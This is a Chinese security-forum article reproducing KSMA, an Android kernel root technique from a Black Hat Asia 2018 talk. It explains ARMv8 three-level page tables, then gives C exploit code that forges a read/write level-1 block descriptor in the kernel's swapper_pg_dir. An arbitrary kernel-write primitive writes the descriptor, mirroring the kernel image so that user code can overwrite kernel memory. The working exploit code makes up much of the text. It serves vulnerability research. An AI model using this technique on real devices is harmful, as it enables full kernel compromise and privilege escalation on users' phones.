KSMA -- Android 通用 Root 技术

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看雪论坛作者ID：GeneBlue

2018 年 blackhat asia 会议上，阿里巴巴的安全研究员 ThomasKing 做了 Android Root 方面的主题演讲，题为《KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features》。笔者对这样的通用 Root 方式是比较感兴趣的，便着手复现了一下。

ThomasKing 为这种通用 root 方式起了个不错的名字 KSMA(Kernel Space Mirroring Attack)，意为内核空间镜像攻击。

简单的说，在内核的一级页表中伪造一个 d_block 类型的 descriptor (内存描述符)，将内核镜像所在的 PA (物理地址) 映射到 descriptor 所对应的 VA (虚拟地址) 处。

通过修改 d_block 中的一些内存属性，就可以做到对 VA 处映射的内核镜像做读写操作，从而可以任意修改内核代码。

linux页表介绍

linux 内核采用分页机制管理 VA，并使用 MMU（内存管理单元） 完成 VA 到 PA 的转换。page (内存页) 大小一般为 4KB 16KB 或者 64 KB，为了更有效率的管理 page，内核使用 page table（页表）来组织所有page。

页表是分级的，pc 系统一般使用4级页表，现阶段 android 系统采用3级页表，页大小 4KB。以下均以 4KB 3级页表作为讨论基础。

下面图表搭配着看比较好理解一些，下图位于 armv8 手册 D4-1744 处，下表位于内核 Documentation/arm64/memory.txt 处。

AArch64 Linux memory layout with 4KB pages:
Start            End            Size        Use
-----------------------------------------------------------------------
0000000000000000    0000007fffffffff     512GB        user
ffffff8000000000    ffffffbbfffeffff    ~240GB        vmalloc
ffffffbbffff0000    ffffffbbffffffff      64KB        [guard page]
ffffffbc00000000    ffffffbdffffffff       8GB        vmemmap
ffffffbe00000000    ffffffbffbbfffff      ~8GB        [guard, future vmmemap]
ffffffbffa000000    ffffffbffaffffff      16MB        PCI I/O space
ffffffbffb000000    ffffffbffbbfffff      12MB        [guard]
ffffffbffbc00000    ffffffbffbdfffff       2MB        fixed mappings
ffffffbffbe00000    ffffffbffbffffff       2MB        [guard]
ffffffbffc000000    ffffffbfffffffff      64MB        modules
ffffffc000000000    ffffffffffffffff     256GB        kernel logical memory map

Translation table lookup with 4KB pages:
+--------+--------+--------+--------+--------+--------+--------+--------+
|63    56|55    48|47    40|39    32|31    24|23    16|15     8|7      0|
+--------+--------+--------+--------+--------+--------+--------+--------+
 |                 |         |         |         |         |
 |                 |         |         |         |         v
 |                 |         |         |         |   [11:0]  in-page offset
 |                 |         |         |         +-> [20:12] L3 index
 |                 |         |         +-----------> [29:21] L2 index
 |                 |         +---------------------> [38:30] L1 index
 |                 +-------------------------------> [47:39] L0 index (not used)
 +-------------------------------------------------> [63] TTBR0/1

• usr 空间地址范围为：0x0000000000000000 ～ 0x0000007fffffffff，共计 512GB
• kernel 空间地址范围为：0xffffff8000000000 ～ 0xffffffffffffffff，共计 512GB

对于3级页表，Level 0 table 并未采用，通过 Level 1 table 可以获取 Level 2 table 的内存位置，通过 Level 2 table 可以获取 Level 3 table 的内存位置，Level 3 table 又可以获取具体 page 所在的内存位置。

比如 0xffffffc000080030 这个 VA 按照上述翻译表的计算方式，可获知：

vaddr = 0xffffffc000080030
ttbr1
poffset = 0x30
L0_index = 0x1ff    L1_index = 0x100    L2_index = 0x0    L3_index = 0x80

ttbr1 表明这是一个内核地址，poffseet 表明内存在页内偏移为 0x30，L0页表没采用，数值没意义，是一级页表(pgd)的第 0x100 项，二级页表(pmd)的第0项，三级页表(pte)的第0x80项。

需要说明的是内核与用户态进程使用的不是同一份页表，内核拥有自己单独的页表，内核线程共享，用户态进程分别拥有自己的页表。

内核页表在内核初始化时静态创建，如下 init_mm。pgd 指向 swapper_pg_dir，在没有 KASLR 的情况下，该全局变量是一个固定值 0xffffffc00007d000，所以内核一级页表位于固定内存位置。

struct mm_struct init_mm = {
    .mm_rb        = RB_ROOT,
    .pgd        = swapper_pg_dir,
    .mm_users    = ATOMIC_INIT(2),
    .mm_count    = ATOMIC_INIT(1),
    .mmap_sem    = __RWSEM_INITIALIZER(init_mm.mmap_sem),
    .page_table_lock =  __SPIN_LOCK_UNLOCKED(init_mm.page_table_lock),
    .mmlist        = LIST_HEAD_INIT(init_mm.mmlist),
    INIT_MM_CONTEXT(init_mm)
};

用户程序页表是在创建用户态程序时动态分配在内核堆中，这一点，可以从 execve 的内核实现中看出，调用关系如下：

`do_execve_common() --> bprm_mm_init() --> mm_alloc() --> mm_init() --> mm_alloc_pgd() --> pgd_alloc()`

一级页表有两种描述符（64bit），table类型和 block 类型，如下图所示，block 类型指向指定的 1GB 内存区域，table 类型描述下一级页表的起始地址。对于伪造页表攻击，我们关心的是一级页表中 block 类型的页表
项。

关键在于要理解 d_block 描述符各 bit 意义，各 bit 详情参见 arm 手册，D4-1796，需要说明 AP[2:1] 和 output address：

• bit[7:6]: AP[2:1] 属性，设置对应内存的数据访问权限，需要设置为内存可读写，这是我们关心的
• bit[47:30]: output address 表示 d_block 要映射 PA 的 [47:30] bit 位的值。

伪造ttbr1的d_block描述符

理解上述页表的过程，伪造 d_block 页表就很简单了，前提是拥有至少一次内核地址写操作。所以，这种利用方法需要搭配某些地址写的漏洞使用。

拥有一次写地址权限后，在特定位置上写上 d_block 即可。

特定位置也就是伪造的 d_block 描述符应该在内存什么位置。该内存位置是可以计算出来的。内核 VA 中有很多的地址空间是没有被使用的，准确的说，没有被映射过。这些内存空洞就可以用来重新映射内核镜像 PA。

不考虑 KASLR 的情形，内核镜像加载的起始地址一般为0xffffffc000000000，镜像大小 1Gb，（0x40000000 Byte） 左右。

0xffffffc200000000 开始的区域通常为内存空洞区域，我们可以将该地址开始的 1Gb 空间，作为再次映射内核 PA 的 VA。当然也是可以采用其他区域的，比如 0xffffffc300000000 开始的 VA，这里以 0xffffffc200000000 作为示例。

计算 0xffffffc200000000（vaddr） 对应的一级页表 d_block 描述符位置的过程如下：

L1_index = (vaddr & 0x0000007fc0000000) >> 30;
fake_d_block_addr = swapper_pg_dir + L1_index * 0x8;

确定好位置后，按照上述 d_block 各 bit 意义构造好fake_d_block，用地址写漏洞写入指定位置。

之后，内核 PA 就会被映射到 vaddr 处，直接使用指针操作 vaddr 内存即可。

主要代码

#define PAGE_OFFSEST 0xffffffc000000000

/**
 *
 *
Android arm64 Translation table lookup with 4KB pages:
+--------+--------+--------+--------+--------+--------+--------+--------+
|63    56|55    48|47    40|39    32|31    24|23    16|15     8|7      0|
+--------+--------+--------+--------+--------+--------+--------+--------+
 |                 |         |         |         |         |
 |                 |         |         |         |         v
 |                 |         |         |         |   [11:0]  in-page offset
 |                 |         |         |         +-> [20:12] L3 index
 |                 |         |         +-----------> [29:21] L2 index
 |                 |         +---------------------> [38:30] L1 index
 |                 +-------------------------------> [47:39] L0 index (not used)
 +-------------------------------------------------> [63] TTBR0/1
 * 解析 vaddr 获取在页表中各种数值
 */
void parse_vaddr(unsigned long vaddr)
{
    int ttrb0 = 0;
    int poffset = 0;
    int L0_index = 0;
    int L1_index = 0;
    int L2_index = 0;
    int L3_index = 0;

    ttrb0 = (vaddr & 0x8000000000000000) >> 63;
    poffset = (vaddr & 0x0000000000000fff);
    L0_index = (vaddr & 0x0000ff8000000000) >> 39;
    L1_index = (vaddr & 0x0000007fc0000000) >> 30;
    L2_index = (vaddr & 0x000000003fe00000) >> 21;
    L3_index = (vaddr & 0x00000000001ff000) >> 12;

    printf("[%s] vaddr = 0x%lx\n", __func__, vaddr);
    printf("[%s] ttbr%d \n", __func__, ttrb0);
    printf("[%s] poffset = 0x%x\n", __func__, poffset);
    printf("[%s] L0_index = 0x%x    L1_index = 0x%x    L2_index = 0x%x    L3_index = 0x%x\n",
        __func__, L0_index, L1_index, L2_index, L3_index);
}

/**
 * vaddr 是内核内存的空洞区域，伪造其 L1 pagetable 中 d_block 表项
 * 以下 bits 位的具体信息要参考 armv8 的手册 D4-1791
 * 1 Gb = 0x40000000 Byte
 * 0x40000000
 */
void fake_dblock_in_level1_page_table(unsigned long kimg_phys_addr, unsigned long L1_table_start_addr, unsigned long vaddr)
{
    unsigned long fake_d_block = 0l;
    unsigned long fake_d_block_addr = 0l;

    // 计算伪造 vaddr 的L1 页表项位置
    int L1_index = 0;
    L1_index = (vaddr & 0x0000007fc0000000) >> 30;
    fake_d_block_addr = L1_table_start_addr + L1_index * 0x8;
    printf("L1_inde = 0x%x fake_d_block_addr = 0x%lx\n", L1_index, fake_d_block_addr);

    // d_block 中的内容，主要是修改 AP[2:1], 修改为读写属性
    // bit[1:0]
    fake_d_block = fake_d_block | (0x0000000000000001);     //                  Y
    // bit[11:2] lower block attributes
    fake_d_block = fake_d_block | (0x0000000000000800);     // nG, bit[11]      Y
    fake_d_block = fake_d_block | (0x0000000000000400);     // AF, bit[10]      Y
    fake_d_block = fake_d_block | (0x0000000000000200);     // SH, bits[9:8]
    fake_d_block = fake_d_block | (0x0000000000000040);     // AP[2:1], bits[7:6]
    fake_d_block = fake_d_block | (0x0000000000000020);     // NS, bit[5]       Y
    fake_d_block = fake_d_block | (0x0000000000000010);     // AttrIndx[2:0], bits[4:2]
    // bit[29:12] RES0
    // bit[47:30] output address
    fake_d_block = fake_d_block | (kimg_phys_addr & 0x0000ffffc0000000);
    // bit[51:48] RES0
    // bit[63:52] upper block attributes, [63:55] ignored
    fake_d_block = fake_d_block | (0x0010000000000000);     // Contiguous, bit[52]
    fake_d_block = fake_d_block | (0x0020000000000000);     // PXN, bit[53]
    fake_d_block = fake_d_block | (0x0040000000000000);     // XN, bit[54]

    printf("[fake] vaddr = 0x%lx\n", vaddr);
    printf("[fake] fake_d_block_addr = 0x%lx  --> 0x%016lx\n", fake_d_block_addr, fake_d_block);

    errno = 0;
    write_at_address_pipe((void*)fake_d_block_addr, &fake_d_block, sizeof(unsigned long));
    printf("write errno = %d %s\n", errno , strerror(errno));
}

void test_addr_directly() {
    unsigned long addr = 0xffffffc200000000 + 0x20000000 + 0x80000;
    printf("0x%lx  --> 0x%lx\n", addr, *(unsigned long *) addr);

    *(unsigned long *) addr = 0x100;
    printf("0x%lx  --> 0x%lx\n", addr, *(unsigned long *) addr);
}

int main(int argc, char *argv[])
{
    disable_addr_limit();

    unsigned long kimage_phys_addr = 0x20000000;  // 内核镜像加载的起始物理地址 memstart_addr 值
    unsigned long L1_table_start_addr = 0xffffffc00007d000;
    unsigned long fake_kernel_vaddr = 0xffffffc000000000; // 0xffffffc200000000
    fake_dblock_in_level1_page_table(kimage_phys_addr, L1_table_start_addr, fake_kernel_vaddr);

    test_addr_directly();
    return 0;
}

参考

1. arm64 memory（https://android.googlesource.com/kernel/msm.git/+/android-msm-angler-3.10-marshmallow-dr1.5/Documentation/arm64/memory.txt）

2. 利用ARM MMU硬件特性开启安卓8终端的上帝模式（https://bbs.pediy.com/thread-228453.htm）

3. asia-18-WANG-KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features（https://www.blackhat.com/docs/asia-18/asia-18-WANG-KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features.pdf）

- End -

看雪ID：GeneBlue

https://bbs.pediy.com/user-666174.htm 

*本文由看雪论坛 GeneBlue 原创，转载请注明来自看雪社区。

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